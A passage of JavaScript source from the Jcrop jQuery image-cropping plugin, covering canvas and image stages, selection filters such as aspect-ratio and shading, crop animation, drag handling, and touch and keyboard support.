    obj.element = el;
    callback.call(this,obj,options);
  },
  prototype: {
    attach: function(core){
      this.init(core);
      core.ui.stage = this;
    },
    triggerEvent: function(ev){
      $(this.element).trigger(ev);
      return this;
    },
    getElement: function(){
      return this.element;
    }
  }
});
Jcrop.registerStageType('Block',AbstractStage);


var ImageStage = function(){
};

ImageStage.prototype = new AbstractStage();

$.extend(ImageStage,{
  isSupported: function(el,o){
    if (el.tagName == 'IMG') return true;
  },
  priority: 90,
  create: function(el,options,callback){
    $.Jcrop.component.ImageLoader.attach(el,function(w,h){
      var obj = new ImageStage;
      obj.element = $(el).wrap('<div />').parent();

      obj.element.width(w).height(h);
      obj.imgsrc = el;

      if (typeof callback == 'function')
        callback.call(this,obj,options);
    });
  }
});
Jcrop.registerStageType('Image',ImageStage);


var CanvasStage = function(){
  this.angle = 0;
  this.scale = 1;
  this.scaleMin = 0.2;
  this.scaleMax = 1.25;
  this.offset = [0,0];
};

CanvasStage.prototype = new ImageStage();

$.extend(CanvasStage,{
  isSupported: function(el,o){
    if ($.Jcrop.supportsCanvas && (el.tagName == 'IMG')) return true;
  },
  priority: 60,
  create: function(el,options,callback){
    var $el = $(el);
    var opt = $.extend({},options);
    $.Jcrop.component.ImageLoader.attach(el,function(w,h){
      var obj = new CanvasStage;
      $el.hide();
      obj.createCanvas(el,w,h);
      $el.before(obj.element);
      obj.imgsrc = el;
      opt.imgsrc = el;

      if (typeof callback == 'function'){
        callback(obj,opt);
        obj.redraw();
      }
    });
  }
});

$.extend(CanvasStage.prototype,{
  init: function(core){
    this.core = core;
  },
  // setOffset: function(x,y) {{{
  setOffset: function(x,y) {
    this.offset = [x,y];
    return this;
  },
  // }}}
  // setAngle: function(v) {{{
  setAngle: function(v) {
    this.angle = v;
    return this;
  },
  // }}}
  // setScale: function(v) {{{
  setScale: function(v) {
    this.scale = this.boundScale(v);
    return this;
  },
  // }}}
  boundScale: function(v){
    if (v<this.scaleMin) v = this.scaleMin;
    else if (v>this.scaleMax) v = this.scaleMax;
    return v;
  },
  createCanvas: function(img,w,h){
    this.width = w;
    this.height = h;
    this.canvas = document.createElement('canvas');
    this.canvas.width = w;
    this.canvas.height = h;
    this.$canvas = $(this.canvas).width('100%').height('100%');
    this.context = this.canvas.getContext('2d');
    this.fillstyle = "rgb(0,0,0)";
    this.element = this.$canvas.wrap('<div />').parent().width(w).height(h);
  },
  triggerEvent: function(ev){
    this.$canvas.trigger(ev);
    return this;
  },
  // clear: function() {{{
  clear: function() {
    this.context.fillStyle = this.fillstyle;
    this.context.fillRect(0, 0, this.canvas.width, this.canvas.height);
    return this;
  },
  // }}}
  // redraw: function() {{{
  redraw: function() {
    // Save the current context
    this.context.save();
    this.clear();

    // Translate to the center point of our image
    this.context.translate(parseInt(this.width * 0.5), parseInt(this.height * 0.5));
    // Perform the rotation and scaling
    this.context.translate(this.offset[0]/this.core.opt.xscale,this.offset[1]/this.core.opt.yscale);
    this.context.rotate(this.angle * (Math.PI/180));
    this.context.scale(this.scale,this.scale);
    // Translate back to the top left of our image
    this.context.translate(-parseInt(this.width * 0.5), -parseInt(this.height * 0.5));
    // Finally we draw the image
    this.context.drawImage(this.imgsrc,0,0,this.width,this.height);

    // And restore the updated context
    this.context.restore();
    this.$canvas.trigger('cropredraw');
    return this;
  },
  // }}}
  // setFillStyle: function(v) {{{
  setFillStyle: function(v) {
    this.fillstyle = v;
    return this;
  }
  // }}}
});

Jcrop.registerStageType('Canvas',CanvasStage);


  /**
   *  BackoffFilter
   *  move out-of-bounds selection into allowed position at same size
   */
  var BackoffFilter = function(){
    this.minw = 40;
    this.minh = 40;
    this.maxw = 0;
    this.maxh = 0;
    this.core = null;
  };
  $.extend(BackoffFilter.prototype,{
    tag: 'backoff',
    priority: 22,
    filter: function(b){
      var r = this.bound;

      if (b.x < r.minx) { b.x = r.minx; b.x2 = b.w + b.x; }
      if (b.y < r.miny) { b.y = r.miny; b.y2 = b.h + b.y; }
      if (b.x2 > r.maxx) { b.x2 = r.maxx; b.x = b.x2 - b.w; }
      if (b.y2 > r.maxy) { b.y2 = r.maxy; b.y = b.y2 - b.h; }

      return b;
    },
    refresh: function(sel){
      this.elw = sel.core.container.width();
      this.elh = sel.core.container.height();
      this.bound = {
        minx: 0 + sel.edge.w,
        miny: 0 + sel.edge.n,
        maxx: this.elw + sel.edge.e,
        maxy: this.elh + sel.edge.s
      };
    }
  });
  Jcrop.registerFilter('backoff',BackoffFilter);

  /**
   *  ConstrainFilter
   *  a filter to constrain crop selection to bounding element
   */
  var ConstrainFilter = function(){
    this.core = null;
  };
  $.extend(ConstrainFilter.prototype,{
    tag: 'constrain',
    priority: 5,
    filter: function(b,ord){
      if (ord == 'move') {
        if (b.x < this.minx) { b.x = this.minx; b.x2 = b.w + b.x; }
        if (b.y < this.miny) { b.y = this.miny; b.y2 = b.h + b.y; }
        if (b.x2 > this.maxx) { b.x2 = this.maxx; b.x = b.x2 - b.w; }
        if (b.y2 > this.maxy) { b.y2 = this.maxy; b.y = b.y2 - b.h; }
      } else {
        if (b.x < this.minx) { b.x = this.minx; }
        if (b.y < this.miny) { b.y = this.miny; }
        if (b.x2 > this.maxx) { b.x2 = this.maxx; }
        if (b.y2 > this.maxy) { b.y2 = this.maxy; }
      }
      b.w = b.x2 - b.x;
      b.h = b.y2 - b.y;
      return b;
    },
    refresh: function(sel){
      this.elw = sel.core.container.width();
      this.elh = sel.core.container.height();
      this.minx = 0 + sel.edge.w;
      this.miny = 0 + sel.edge.n;
      this.maxx = this.elw + sel.edge.e;
      this.maxy = this.elh + sel.edge.s;
    }
  });
  Jcrop.registerFilter('constrain',ConstrainFilter);

  /**
   *  ExtentFilter
   *  a filter to implement minimum or maximum size
   */
  var ExtentFilter = function(){
    this.core = null;
  };
  $.extend(ExtentFilter.prototype,{
    tag: 'extent',
    priority: 12,
    offsetFromCorner: function(corner,box,b){
      var w = box[0], h = box[1];
      switch(corner){
        case 'bl': return [ b.x2 - w, b.y, w, h ];
        case 'tl': return [ b.x2 - w , b.y2 - h, w, h ];
        case 'br': return [ b.x, b.y, w, h ];
        case 'tr': return [ b.x, b.y2 - h, w, h ];
      }
    },
    getQuadrant: function(s){
      var relx = s.opposite[0]-s.offsetx
      var rely = s.opposite[1]-s.offsety;

      if ((relx < 0) && (rely < 0)) return 'br';
        else if ((relx >= 0) && (rely >= 0)) return 'tl';
        else if ((relx < 0) && (rely >= 0)) return 'tr';
        return 'bl';
    },
    filter: function(b,ord,sel){

      if (ord == 'move') return b;

      var w = b.w, h = b.h, st = sel.state, r = this.limits;
      var quad = st? this.getQuadrant(st): 'br';

      if (r.minw && (w < r.minw)) w = r.minw;
      if (r.minh && (h < r.minh)) h = r.minh;
      if (r.maxw && (w > r.maxw)) w = r.maxw;
      if (r.maxh && (h > r.maxh)) h = r.maxh;

      if ((w == b.w) && (h == b.h)) return b;

      return Jcrop.wrapFromXywh(this.offsetFromCorner(quad,[w,h],b));
    },
    refresh: function(sel){
      this.elw = sel.core.container.width();
      this.elh = sel.core.container.height();

      this.limits = {
        minw: sel.minSize[0],
        minh: sel.minSize[1],
        maxw: sel.maxSize[0],
        maxh: sel.maxSize[1]
      };
    }
  });
  Jcrop.registerFilter('extent',ExtentFilter);


  /**
   *  GridFilter
   *  a rudimentary grid effect
   */
  var GridFilter = function(){
    this.stepx = 1;
    this.stepy = 1;
    this.core = null;
  };
  $.extend(GridFilter.prototype,{
    tag: 'grid',
    priority: 19,
    filter: function(b){
      
      var n = {
        x: Math.round(b.x / this.stepx) * this.stepx,
        y: Math.round(b.y / this.stepy) * this.stepy,
        x2: Math.round(b.x2 / this.stepx) * this.stepx,
        y2: Math.round(b.y2 / this.stepy) * this.stepy
      };
      
      n.w = n.x2 - n.x;
      n.h = n.y2 - n.y;

      return n;
    }
  });
  Jcrop.registerFilter('grid',GridFilter);


  /**
   *  RatioFilter
   *  implements aspectRatio locking
   */
  var RatioFilter = function(){
    this.ratio = 0;
    this.core = null;
  };
  $.extend(RatioFilter.prototype,{
    tag: 'ratio',
    priority: 15,
    offsetFromCorner: function(corner,box,b){
      var w = box[0], h = box[1];
      switch(corner){
        case 'bl': return [ b.x2 - w, b.y, w, h ];
        case 'tl': return [ b.x2 - w , b.y2 - h, w, h ];
        case 'br': return [ b.x, b.y, w, h ];
        case 'tr': return [ b.x, b.y2 - h, w, h ];
      }
    },
    getBoundRatio: function(b,quad){
      var box = Jcrop.getLargestBox(this.ratio,b.w,b.h);
      return Jcrop.wrapFromXywh(this.offsetFromCorner(quad,box,b));
    },
    getQuadrant: function(s){
      var relx = s.opposite[0]-s.offsetx
      var rely = s.opposite[1]-s.offsety;

      if ((relx < 0) && (rely < 0)) return 'br';
        else if ((relx >= 0) && (rely >= 0)) return 'tl';
        else if ((relx < 0) && (rely >= 0)) return 'tr';
        return 'bl';
    },
    filter: function(b,ord,sel){

      if (!this.ratio) return b;

      var rt = b.w / b.h;
      var st = sel.state;

      var quad = st? this.getQuadrant(st): 'br';
      ord = ord || 'se';

      if (ord == 'move') return b;

      switch(ord) {
        case 'n':
          b.x2 = this.elw;
          b.w = b.x2 - b.x;
          quad = 'tr';
          break;
        case 's':
          b.x2 = this.elw;
          b.w = b.x2 - b.x;
          quad = 'br';
          break;
        case 'e':
          b.y2 = this.elh;
          b.h = b.y2 - b.y;
          quad = 'br';
          break;
        case 'w':
          b.y2 = this.elh;
          b.h = b.y2 - b.y;
          quad = 'bl';
          break;
      }

      return this.getBoundRatio(b,quad);
    },
    refresh: function(sel){
      this.ratio = sel.aspectRatio;
      this.elw = sel.core.container.width();
      this.elh = sel.core.container.height();
    }
  });
  Jcrop.registerFilter('ratio',RatioFilter);


  /**
   *  RoundFilter
   *  rounds coordinate values to integers
   */
  var RoundFilter = function(){
    this.core = null;
  };
  $.extend(RoundFilter.prototype,{
    tag: 'round',
    priority: 90,
    filter: function(b){
      
      var n = {
        x: Math.round(b.x),
        y: Math.round(b.y),
        x2: Math.round(b.x2),
        y2: Math.round(b.y2)
      };
      
      n.w = n.x2 - n.x;
      n.h = n.y2 - n.y;

      return n;
    }
  });
  Jcrop.registerFilter('round',RoundFilter);


  /**
   *  ShadeFilter
   *  A filter that implements div-based shading on any element
   *
   *  The shading you see is actually four semi-opaque divs
   *  positioned inside the container, around the selection
   */
  var ShadeFilter = function(opacity,color){
    this.color = color || 'black';
    this.opacity = opacity || 0.5;
    this.core = null;
    this.shades = {};
  };
  $.extend(ShadeFilter.prototype,{
    tag: 'shader',
    fade: true,
    fadeEasing: 'swing',
    fadeSpeed: 320,
    priority: 95,
    init: function(){
      var t = this;

      if (!t.attached) {
        t.visible = false;

        t.container = $('<div />').addClass(t.core.opt.css_shades)
          .prependTo(this.core.container).hide();

        t.elh = this.core.container.height();
        t.elw = this.core.container.width();

        t.shades = {
          top: t.createShade(),
          right: t.createShade(),
          left: t.createShade(),
          bottom: t.createShade()
        };

        t.attached = true;
      }
    },
    destroy: function(){
      this.container.remove();
    },
    setColor: function(color,instant){
      var t = this;

      if (color == t.color) return t;

      this.color = color;
      var colorfade = Jcrop.supportsColorFade();
      $.each(t.shades,function(u,i){
        if (!t.fade || instant || !colorfade) i.css('backgroundColor',color);
          else i.animate({backgroundColor:color},{queue:false,duration:t.fadeSpeed,easing:t.fadeEasing});
      });
      return t;
    },
    setOpacity: function(opacity,instant){
      var t = this;

      if (opacity == t.opacity) return t;

      t.opacity = opacity;
      $.each(t.shades,function(u,i){
        if (!t.fade || instant) i.css({opacity:opacity});
          else i.animate({opacity:opacity},{queue:false,duration:t.fadeSpeed,easing:t.fadeEasing});
      });
      return t;
    },
    createShade: function(){
      return $('<div />').css({
        position: 'absolute',
        backgroundColor: this.color,
        opacity: this.opacity
      }).appendTo(this.container);
    },
    refresh: function(sel){
      var m = this.core, s = this.shades;

      this.setColor(sel.bgColor?sel.bgColor:this.core.opt.bgColor);
      this.setOpacity(sel.bgOpacity?sel.bgOpacity:this.core.opt.bgOpacity);
        
      this.elh = m.container.height();
      this.elw = m.container.width();
      s.right.css('height',this.elh+'px');
      s.left.css('height',this.elh+'px');
    },
    filter: function(b,ord,sel){

      if (!sel.active) return b;

      var t = this,
        s = t.shades;
      
      s.top.css({
        left: Math.round(b.x)+'px',
        width: Math.round(b.w)+'px',
        height: Math.round(b.y)+'px'
      });
      s.bottom.css({
        top: Math.round(b.y2)+'px',
        left: Math.round(b.x)+'px',
        width: Math.round(b.w)+'px',
        height: (t.elh-Math.round(b.y2))+'px'
      });
      s.right.css({
        left: Math.round(b.x2)+'px',
        width: (t.elw-Math.round(b.x2))+'px'
      });
      s.left.css({
        width: Math.round(b.x)+'px'
      });

      if (!t.visible) {
        t.container.show();
        t.visible = true;
      }

      return b;
    }
  });
  Jcrop.registerFilter('shader',ShadeFilter);
  

  /**
   *  CanvasAnimator
   *  manages smooth cropping animation
   *
   *  This object is called internally to manage animation.
   *  An in-memory div is animated and a progress callback
   *  is used to update the selection coordinates of the
   *  visible selection in realtime.
   */
  var CanvasAnimator = function(stage){
    this.stage = stage;
    this.core = stage.core;
    this.cloneStagePosition();
  };

  CanvasAnimator.prototype = {

    cloneStagePosition: function(){
      var s = this.stage;
      this.angle = s.angle;
      this.scale = s.scale;
      this.offset = s.offset;
    },

    getElement: function(){
      var s = this.stage;

      return $('<div />')
        .css({
          position: 'absolute',
          top: s.offset[0]+'px',
          left: s.offset[1]+'px',
          width: s.angle+'px',
          height: s.scale+'px'
        });
    },

    animate: function(cb){
      var t = this;

      this.scale = this.stage.boundScale(this.scale);
      t.stage.triggerEvent('croprotstart');

      t.getElement().animate({
        top: t.offset[0]+'px',
        left: t.offset[1]+'px',
        width: t.angle+'px',
        height: t.scale+'px'
      },{
        easing: t.core.opt.animEasing,
        duration: t.core.opt.animDuration,
        complete: function(){
          t.stage.triggerEvent('croprotend');
          (typeof cb == 'function') && cb.call(this);
        },
        progress: function(anim){
          var props = {}, i, tw = anim.tweens;

          for(i=0;i<tw.length;i++){
            props[tw[i].prop] = tw[i].now; }

          t.stage.setAngle(props.width)
            .setScale(props.height)
            .setOffset(props.top,props.left)
            .redraw();
        }
      });
    }

  };
  Jcrop.stage.Canvas.prototype.getAnimator = function(){
    return new CanvasAnimator(this);
  };
  Jcrop.registerComponent('CanvasAnimator',CanvasAnimator);


  /**
   *  CropAnimator
   *  manages smooth cropping animation
   *
   *  This object is called internally to manage animation.
   *  An in-memory div is animated and a progress callback
   *  is used to update the selection coordinates of the
   *  visible selection in realtime.
   */
  // var CropAnimator = function(selection){{{
  var CropAnimator = function(selection){
    this.selection = selection;
    this.core = selection.core;
  };
  // }}}

  CropAnimator.prototype = {

    getElement: function(){
      var b = this.selection.get();

      return $('<div />')
        .css({
          position: 'absolute',
          top: b.y+'px',
          left: b.x+'px',
          width: b.w+'px',
          height: b.h+'px'
        });
    },

    animate: function(x,y,w,h,cb){
      var t = this;

      t.selection.allowResize(false);

      t.getElement().animate({
        top: y+'px',
        left: x+'px',
        width: w+'px',
        height: h+'px'
      },{
        easing: t.core.opt.animEasing,
        duration: t.core.opt.animDuration,
        complete: function(){
          t.selection.allowResize(true);
          cb && cb.call(this);
        },
        progress: function(anim){
          var props = {}, i, tw = anim.tweens;

          for(i=0;i<tw.length;i++){
            props[tw[i].prop] = tw[i].now; }

          var b = {
            x: parseInt(props.left),
            y: parseInt(props.top),
            w: parseInt(props.width),
            h: parseInt(props.height)
          };

          b.x2 = b.x + b.w;
          b.y2 = b.y + b.h;

          t.selection.updateRaw(b,'se');
        }
      });
    }

  };
  Jcrop.registerComponent('Animator',CropAnimator);


  /**
   *  DragState
   *  an object that handles dragging events
   *
   *  This object is used by the built-in selection object to
   *  track a dragging operation on a selection
   */
  // var DragState = function(e,selection,ord){{{
  var DragState = function(e,selection,ord){
    var t = this;

    t.x = e.pageX;
    t.y = e.pageY;

    t.selection = selection;
    t.eventTarget = selection.core.opt.dragEventTarget;
    t.orig = selection.get();

    selection.callFilterFunction('refresh');

    var p = selection.core.container.position();
    t.elx = p.left;
    t.ely = p.top;

    t.offsetx = 0;
    t.offsety = 0;
    t.ord = ord;
    t.opposite = t.getOppositeCornerOffset();

    t.initEvents(e);

  };
  // }}}

  DragState.prototype = {
    // getOppositeCornerOffset: function(){{{
    // Calculate relative offset of locked corner
    getOppositeCornerOffset: function(){

      var o = this.orig;
      var relx = this.x - this.elx - o.x;
      var rely = this.y - this.ely - o.y;

      switch(this.ord){
        case 'nw':
        case 'w':
          return [ o.w - relx, o.h - rely ];
          return [ o.x + o.w, o.y + o.h ];

        case 'sw':
          return [ o.w - relx, -rely ];
          return [ o.x + o.w, o.y ];

        case 'se':
        case 's':
        case 'e':
          return [ -relx, -rely ];
          return [ o.x, o.y ];

        case 'ne':
        case 'n':
          return [ -relx, o.h - rely ];
          return [ o.w, o.y + o.h ];
      }

      return [ null, null ];
    },
    // }}}
    // initEvents: function(e){{{
    initEvents: function(e){
      $(this.eventTarget)
        .on('mousemove.jcrop',this.createDragHandler())
        .on('mouseup.jcrop',this.createStopHandler());
    },
    // }}}
    // dragEvent: function(e){{{
    dragEvent: function(e){
      this.offsetx = e.pageX - this.x;
      this.offsety = e.pageY - this.y;
      this.selection.updateRaw(this.getBox(),this.ord);
    },
    // }}}
    // endDragEvent: function(e){{{
    endDragEvent: function(e){
      var sel = this.selection;
      sel.core.container.removeClass('jcrop-dragging');
      sel.element.trigger('cropend',[sel,sel.core.unscale(sel.get())]);
      sel.focus();
    },
    // }}}
    // createStopHandler: function(){{{
    createStopHandler: function(){
      var t = this;
      return function(e){
        $(t.eventTarget).off('.jcrop');
        t.endDragEvent(e);
        return false;
      };
    },
    // }}}
    // createDragHandler: function(){{{
    createDragHandler: function(){
      var t = this;
      return function(e){
        t.dragEvent(e);
        return false;
      };
    },
    // }}}
    //update: function(x,y){{{
    update: function(x,y){
      var t = this;
      t.offsetx = x - t.x;
      t.offsety = y - t.y;
    },
    //}}}
    //resultWrap: function(d){{{
    resultWrap: function(d){
      var b = {
          x: Math.min(d[0],d[2]),
          y: Math.min(d[1],d[3]),
          x2: Math.max(d[0],d[2]),
          y2: Math.max(d[1],d[3])
        };

      b.w = b.x2 - b.x;
      b.h = b.y2 - b.y;

      return b;
    },
    //}}}
    //getBox: function(){{{
    getBox: function(){
      var t = this;
      var o = t.orig;
      var _c = { x2: o.x + o.w, y2: o.y + o.h };
      switch(t.ord){
        case 'n': return t.resultWrap([ o.x, t.offsety + o.y, _c.x2, _c.y2 ]);
        case 's': return t.resultWrap([ o.x, o.y, _c.x2, t.offsety + _c.y2 ]);
        case 'e': return t.resultWrap([ o.x, o.y, t.offsetx + _c.x2, _c.y2 ]);
        case 'w': return t.resultWrap([ o.x + t.offsetx, o.y, _c.x2, _c.y2 ]);
        case 'sw': return t.resultWrap([ t.offsetx + o.x, o.y, _c.x2, t.offsety + _c.y2 ]);
        case 'se': return t.resultWrap([ o.x, o.y, t.offsetx + _c.x2, t.offsety + _c.y2 ]);
        case 'ne': return t.resultWrap([ o.x, t.offsety + o.y, t.offsetx + _c.x2, _c.y2 ]);
        case 'nw': return t.resultWrap([ t.offsetx + o.x, t.offsety + o.y, _c.x2, _c.y2 ]);
        case 'move':
          _c.nx = o.x + t.offsetx;
          _c.ny = o.y + t.offsety;
          return t.resultWrap([ _c.nx, _c.ny, _c.nx + o.w, _c.ny + o.h ]);
      }
    }
    //}}}
  };
  Jcrop.registerComponent('DragState',DragState);


  /**
   *  EventManager
   *  provides internal event support
   */
  var EventManager = function(core){
    this.core = core;
  };
  EventManager.prototype = {
      on: function(n,cb){ $(this).on(n,cb); },
      off: function(n){ $(this).off(n); },
      trigger: function(n){ $(this).trigger(n); }
  };
  Jcrop.registerComponent('EventManager',EventManager);


  /**
   * Image Loader
   * Reliably pre-loads images
   */
  // var ImageLoader = function(src,element,cb){{{
  var ImageLoader = function(src,element,cb){
    this.src = src;
    if (!element) element = new Image;
    this.element = element;
    this.callback = cb;
    this.load();
  };
  // }}}

  $.extend(ImageLoader,{
    // attach: function(el,cb){{{
    attach: function(el,cb){
      return new ImageLoader(el.src,el,cb);
    },
    // }}}
    // prototype: {{{
    prototype: {
      getDimensions: function(){
        var el = this.element;

        if (el.naturalWidth)
          return [ el.naturalWidth, el. naturalHeight ];

        if (el.width)
          return [ el.width, el.height ];

        return null;
      },
      fireCallback: function(){
        this.element.onload = null;
        if (typeof this.callback == 'function')
          this.callback.apply(this,this.getDimensions());
      },
      isLoaded: function(){
        return this.element.complete;
      },
      load: function(){
        var t = this;
        var el = t.element;

        el.src = t.src;

        if (t.isLoaded()) t.fireCallback();
          else t.element.onload = function(e){
            t.fireCallback();
          };
      }
    }
    // }}}
  });
  Jcrop.registerComponent('ImageLoader',ImageLoader);


  /**
   * JcropTouch
   * Detects and enables mobile touch support
   */
  // var JcropTouch = function(core){{{
  var JcropTouch = function(core){
    this.core = core;
    this.init();
  };
  // }}}

  $.extend(JcropTouch,{
    // support: function(){{{
    support: function(){
      if(('ontouchstart' in window) || window.DocumentTouch && document instanceof DocumentTouch)
        return true;
    },
    // }}}
    prototype: {
      // init: function(){{{
      init: function(){
        var t = this,
          p = $.Jcrop.component.DragState.prototype;

        // A bit of an ugly hack to make sure we modify prototype
        // only once, store a key on the prototype
        if (!p.touch) {
          t.initEvents();
          t.shimDragState();
          t.shimStageDrag();
          p.touch = true;
        }
      },
      // }}}
      // shimDragState: function(){{{
      shimDragState: function(){
        var t = this;
        $.Jcrop.component.DragState.prototype.initEvents = function(e){
          
          // Attach subsequent drag event handlers based on initial
          // event type - avoids collecting "pseudo-mouse" events
          // generated by some mobile browsers in some circumstances
          if (e.type.substr(0,5) == 'touch') {

            $(this.eventTarget)
              .on('touchmove.jcrop.jcrop-touch',t.dragWrap(this.createDragHandler()))
              .on('touchend.jcrop.jcrop-touch',this.createStopHandler());

          }
          
          // For other events, use the mouse handlers that
          // the default DragState.initEvents() method sets...
          else {

            $(this.eventTarget)
              .on('mousemove.jcrop',this.createDragHandler())
              .on('mouseup.jcrop',this.createStopHandler());

          }

        };
      },
      // }}}
      // shimStageDrag: function(){{{
      shimStageDrag: function(){
        this.core.container
          .addClass('jcrop-touch')
          .on('touchstart.jcrop.jcrop-stage',this.dragWrap(this.core.ui.manager.startDragHandler()));
      },
      // }}}
      // dragWrap: function(cb){{{
      dragWrap: function(cb){
        return function(e){
          e.preventDefault();
          e.stopPropagation();
          if (e.type.substr(0,5) == 'touch') {
            e.pageX = e.originalEvent.changedTouches[0].pageX;
            e.pageY = e.originalEvent.changedTouches[0].pageY;
            return cb(e);
          }
          return false;
        };
      },
      // }}}
      // initEvents: function(){{{
      initEvents: function(){
        var t = this, c = t.core;

        c.container.on(
          'touchstart.jcrop.jcrop-touch',
          '.'+c.opt.css_drag,
          t.dragWrap(c.startDrag())
        );
      }
      // }}}
    }
  });
  Jcrop.registerComponent('Touch',JcropTouch);


  /**
   *  KeyWatcher
   *  provides keyboard support
   */
  // var KeyWatcher = function(core){{{
  var KeyWatcher = function(core){
    this.core = core;
    this.init();
  };
  // }}}
  $.extend(KeyWatcher,{
    // defaults: {{{
    defaults: {
      eventName: 'keydown.jcrop',
      passthru: [ 9 ],
      debug: false
    },
    // }}}
    prototype: {
      // init: function(){{{
      init: function(){
        $.extend(this,KeyWatcher.defaults);
        this.enable();
      },
      // }}}
      // disable: function(){{{
      disable: function(){
        this.core.container.off(this.eventName);
      },
      // }}}
      // enable: function(){{{
      enable: function(){
        var t = this, m = t.core;
        m.container.on(t.eventName,function(e){
          var nudge = e.shiftKey? 16: 2;

          if ($.inArray(e.keyCode,t.passthru) >= 0)
            return true;

          switch(e.keyCode){
            case 37: m.nudge(-nudge,0); break;
            case 38: m.nudge(0,-nudge); break;
            case 39: m.nudge(nudge,0); break;
            case 40: m.nudge(0,nudge); break;

            case 46:
            case 8:
              m.requestDelete();
              return false;
              break;

            default:
              if (t.debug) console.log('keycode: ' + e.keyCode);
              break;
          }

          if (!e.metaKey && !e.ctrlKey)
            e.preventDefault();
        });
      }
      // }}}
    }
  });
  Jcrop.registerComponent('Keyboard',KeyWatcher);


  /**
   * Selection
   * Built-in selection object
   */
  var Selection = function(){};

  $.extend(Selection,{
    // defaults: {{{
    defaults: {
      minSize: [ 8, 8 ],
      maxSize: [ 0, 0 ],
      aspectRatio: 0,
      edge: { n: 0, s: 0, e: 0, w: 0 },
      bgColor: null,
      bgOpacity: null,
      last: null,

      state: null,
      active: true,
      linked: true,
      canDelete: true,
      canDrag: true,
      canResize: true,
      canSelect: true
    },
    // }}}
    prototype: {
      // init: function(core){{{
      init: function(core){
        this.core = core;
        this.startup();
        this.linked = this.core.opt.linked;
        this.attach();
        this.setOptions(this.core.opt);
        core.container.trigger('cropcreate',[this]);
      },
      // }}}
      // attach: function(){{{
      attach: function(){
        // For extending init() sequence
      },
      // }}}
      // startup: function(){{{
      startup: function(){
        var t = this, o = t.core.opt;
        $.extend(t,Selection.defaults);
        t.filter = t.core.getDefaultFilters();

        t.element = $('<div />').addClass(o.css_selection).data({ selection: t });
        t.frame = $('<button />').addClass(o.css_button).data('ord','move').attr('type','button');
        t.element.append(t.frame).appendTo(t.core.container);

        // IE background/draggable hack
        if (t.core.opt.is_msie) t.frame.css({
          opacity: 0,
          backgroundColor: 'white'
        });

        t.insertElements();

        // Bind focus and blur events for this selection
        t.frame.on('focus.jcrop',function(e){
          t.core.setSelection(t);
          t.element.trigger('cropfocus',t);
          t.element.addClass('jcrop-focus');
        }).on('blur.jcrop',function(e){
          t.element.removeClass('jcrop-focus');
          t.element.trigger('cropblur',t);
        });
      },
      // }}}
      // propagate: [{{{
      propagate: [
        'canDelete', 'canDrag', 'canResize', 'canSelect',
        'minSize', 'maxSize', 'aspectRatio', 'edge'
      ],
      // }}}
      // setOptions: function(opt){{{
      setOptions: function(opt){
        Jcrop.propagate(this.propagate,opt,this);
        this.refresh();
        return this;
      },
      // }}}
      // refresh: function(){{{
      refresh: function(){
        this.allowResize();
        this.allowDrag();
        this.allowSelect();
        this.callFilterFunction('refresh');
        this.updateRaw(this.get(),'se');
      },
      // }}}
      // callFilterFunction: function(f,args){{{
      callFilterFunction: function(f,args){
        for(var i=0;i<this.filter.length;i++)
          if (this.filter[i][f]) this.filter[i][f](this);
        return this;
      },
      // }}}
      //addFilter: function(filter){{{
      addFilter: function(filter){
        filter.core = this.core;
        if (!this.hasFilter(filter)) {
          this.filter.push(filter);
          this.sortFilters();
          if (filter.init) filter.init();
          this.refresh();
        }
      },
      //}}}
      // hasFilter: function(filter){{{
      hasFilter: function(filter){
        var i, f = this.filter, n = [];
        for(i=0;i<f.length;i++) if (f[i] === filter) return true;
      },
      // }}}
      // sortFilters: function(){{{
      sortFilters: function(){
        this.filter.sort(
          function(x,y){ return x.priority - y.priority; }
        );
      },
      // }}}
      //clearFilters: function(){{{
      clearFilters: function(){
        var i, f = this.filter;

        for(var i=0;i<f.length;i++)
          if (f[i].destroy) f[i].destroy();

        this.filter = [];
      },
      //}}}
      // removeFiltersByTag: function(tag){{{
      removeFilter: function(tag){
        var i, f = this.filter, n = [];

        for(var i=0;i<f.length;i++)
          if ((f[i].tag && (f[i].tag == tag)) || (tag === f[i])){
            if (f[i].destroy) f[i].destroy();
          }
          else n.push(f[i]);

        this.filter = n;
      },
      // }}}
      // runFilters: function(b,ord){{{
      runFilters: function(b,ord){
        for(var i=0;i<this.filter.length;i++)
          b = this.filter[i].filter(b,ord,this);
        return b;
      },
      // }}}
      //endDrag: function(){{{
      endDrag: function(){
        if (this.state) {
          $(document.body).off('.jcrop');
          this.focus();
          this.state = null;
        }
      },
      //}}}
      // startDrag: function(e,ord){{{
      startDrag: function(e,ord){
        var t = this;
        var m = t.core;

        ord = ord || $(e.target).data('ord');

        this.focus();

        if ((ord == 'move') && t.element.hasClass(t.core.opt.css_nodrag))
          return false;

        this.state = new Jcrop.component.DragState(e,this,ord);
        return false;
      },
      // }}}
      // allowSelect: function(v){{{
      allowSelect: function(v){
        if (v === undefined) v = this.canSelect;

        if (v && this.canSelect) this.frame.attr('disabled',false);
          else this.frame.attr('disabled','disabled');

        return this;
      },
      // }}}
      // allowDrag: function(v){{{
      allowDrag: function(v){
        var t = this, o = t.core.opt;
        if (v == undefined) v = t.canDrag;

        if (v && t.canDrag) t.element.removeClass(o.css_nodrag);
          else t.element.addClass(o.css_nodrag);

        return this;
      },
      // }}}
      // allowResize: function(v){{{
      allowResize: function(v){
        var t = this, o = t.core.opt;
        if (v == undefined) v = t.canResize;

        if (v && t.canResize) t.element.removeClass(o.css_noresize);
          else t.element.addClass(o.css_noresize);

        return this;
      },
      // }}}
      // remove: function(){{{
      remove: function(){
        this.element.trigger('cropremove',this);
        this.element.remove();
      },
      // }}}
      // toBack: function(){{{
      toBack: function(){
        this.active = false;
        this.element.removeClass('jcrop-current jcrop-focus');
      },
      // }}}
      // toFront: function(){{{
      toFront: function(){
        this.active = true;
        this.element.addClass('jcrop-current');
        this.callFilterFunction('refresh');
        this.refresh();
      },
      // }}}
      // redraw: function(b){{{
      redraw: function(b){
        this.moveTo(b.x,b.y);
        this.resize(b.w,b.h);
        this.last = b;
        return this;
      },
      // }}}
      // update: function(b,ord){{{
      update: function(b,ord){
        return this.updateRaw(this.core.scale(b),ord);
      },
      // }}}
      // update: function(b,ord){{{
      updateRaw: function(b,ord){
        b = this.runFilters(b,ord);
        this.redraw(b);
        this.element.trigger('cropmove',[this,this.core.unscale(b)]);
        return this;
      },
      // }}}
      // animateTo: function(box,cb){{{
      animateTo: function(box,cb){
        var ca = new Jcrop.component.Animator(this),
            b = this.core.scale(Jcrop.wrapFromXywh(box));

        ca.animate(b.x,b.y,b.w,b.h,cb);
      },
      // }}}
